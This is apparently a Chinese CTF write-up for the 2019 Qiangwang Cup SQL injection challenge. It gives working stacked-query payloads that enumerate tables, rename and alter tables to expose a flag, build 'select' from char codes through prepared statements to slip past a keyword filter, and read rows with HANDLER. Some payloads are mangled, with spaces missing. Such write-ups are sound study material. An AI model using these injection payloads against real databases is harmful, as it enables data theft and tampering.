[强网杯 2019]随便注
- 单引号闭合
- 然后尝试联合注入
1’ union select 1,databases()#
返回过滤提示。return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
第一种方式:堆叠注入
1';show databases# 看数据库
1';show tables#
看表
1';show columns from words;# 或 1';desc words;#
看表words的字段
1’;show columns from 1919810931114514
# 或1’;desc 1919810931114514
;# 看表1919810931114514的字段。
![在这里插入图片描述](https://img-blog.csdnimg.cn/5c32283098604d9ca2e7fff354ed7f6a.png)
* 到这里,就发现,没办法继续下去。
* 可以看见,表`words`有两列,列名为 “id” 和 “data” 而表`1919810931114514`只有一列 “flag” 。
* 可以发现,它是通过 “id” 来索引的,通过输入1时的回显和展示表`words`的内容可以判断。
* 没有过滤 `alter` 和 `rename`。可以修改表名和列名。
### 思路
1. 我们把表`words`改名为其它
2. 然后把表`1919810931114514`改名为`words`
3. 再在表`1919810931114514`插入一列`id`
4. 当我们再次查询时,查询的就是`flag` 所在的表,且可以被展示出来
### payload
-
1’;rename table
words
towords1
;rename table1919810931114514
towords
;alter tablewords
changeflag
id
varchar(100) character set utf8 collate utf8_general_ci not NULL;# -
rename table
words
towords1
; 修改表 words 改名为其它, -
rename table
1919810931114514
towords
;修改表 1919810931114514 改名为 words -
alter table
words
changeflag
id
varchar(100) character set utf8 collate utf8_general_ci not NULL;修改列 flag 改名为 id -
或者可以 alter table words add id int unsigned not Null auto_increment primary key;在表 1919810931114514 插入一列 id
-
然后再 1’ or 1=1# ,展示flag
## 第二种方式:sql语句预处理
- 在sql语句中,@ 用于定义变量。
- concat(),函数用于字符串拼接。
- char(),将ASCII码转换为对应的字符。
- 定义预处理语句 PREPARE stmt_name FROM preparable_stmt;
- 执行预处理语句 EXECUTE stmt_name [USING @var_name [, @var_name] …];
- 删除(释放)定义 {DEALLOCATE | DROP} PREPARE stmt_name;
### payload
-
1’;SET @sql = concat(char(115,101,108,101,99,116), " * from
1919810931114514
"); PREPARE yuchuli from @sql; EXECUTE yuchuli;- 因为select被过滤,用char(115,101,108,101,99,116)生成select,也可以用拼接生成select。
- 然后用concat()拼接成一句完整的sql语句。
- 先定义了一个变量sql,然后将变量sql定义为预处理语句,然后再执行。
## 第三种方式:通过handler读取数据
### payload
1’;handler 1919810931114514
open;handler 1919810931114514
read first#
* mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
- HANDLER tbl_name OPEN [ [AS] alias]
- HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…)[ WHERE where_condition ] [LIMIT … ]
- HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT … ]
- HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT … ]
- HANDLER tbl_name CLOSE